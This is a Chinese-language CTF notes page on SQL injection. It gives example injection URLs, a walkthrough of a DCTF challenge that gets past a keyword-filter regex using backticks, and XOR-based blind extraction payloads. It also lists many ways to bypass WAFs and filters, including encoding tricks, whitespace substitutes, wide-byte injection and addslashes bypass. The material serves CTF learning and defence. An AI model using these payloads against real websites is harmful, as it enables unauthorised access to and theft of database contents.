ctf部分姿势

sql注入

单表注入的姿势

当网站对单表进行限制,并且我们需要从所在表寻找数据时,我们可以构造类似

www.xxxxx.com/?id=e8c4-437b-947'='0' and id !='f44f-4cc9-a5e0' and id != '3ad3-46c3-b975' and id != '5fbc-4729-8821' and id != 'c8bb-4695-93f7' and id != '7f9d-470f-8698' and id != '849e-416e-acf7' and id != 'e8c4-437b-9476

首先将id为0,之后穷举我们知道的没有被限制的id,就可以得到被限制的部分

dctfsql注入

dctf的这道sql注入,存在两个参数,id与key,id的过滤规则类似于

/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i

一眼看过去基本上完全被过滤了,但是反引号并没有过滤,sql语句为

"SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'"

所以我们可以构造`id`=`id`类似于'1'='1'成功绕过过滤

被order by被过滤后查看字段数目

sql有一个特性是可以进行定义临时变量,当order by被过滤之后可以用临时变量来检测,例如

mysql> select * from test where id =1 into @a,@b,@c;
Query OK, 1 row affected (0.00 sec)
mysql> select * from test where id =1 into @a,@b;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

利用运算符绕过过滤

^符号

''^1 == 1
''^0 == 0

我们可以来看到

''^(ascii(substr((select database()),1,1))>127)^1

若得到1表示不正确,若得到0表示正确

in与between

IN操作符允许我们在WHERE子句中规定多个值 BETWEEN操作符在WHERE子句中使用,作用是选取介于两个值之间的数据范围

运用不常用的函数进行过滤

lpad
rpad
left
reverse
trim

绕过姿势整理

单引号绕过

hex编码 char(ascii编码)

大小写绕过

复写绕过

注释绕过

特殊嵌入绕过

宽字节绕过

空格绕过

%09,%0A,%0B,%0C,%0D,%A0,%20

括号 and后插入字符

编码绕过

url编码,双重url编码,uniocode编码

关键字绕过

空格,反引号,特殊符号(注释符号)别名

认证绕过

类型转换

http参数污染

宽字节注入

利用&&,||来绕过and,or

addslashes绕过

1)将字符串转为16进制编码数据或使用char函数(十进制)进行转化(因为数据库会自动把16进制转化) 2)用注释符去掉输入密码部分如“-- /* #”

推荐几篇文章 bypass 高级SQL注入:混淆和绕过 mysql使用指南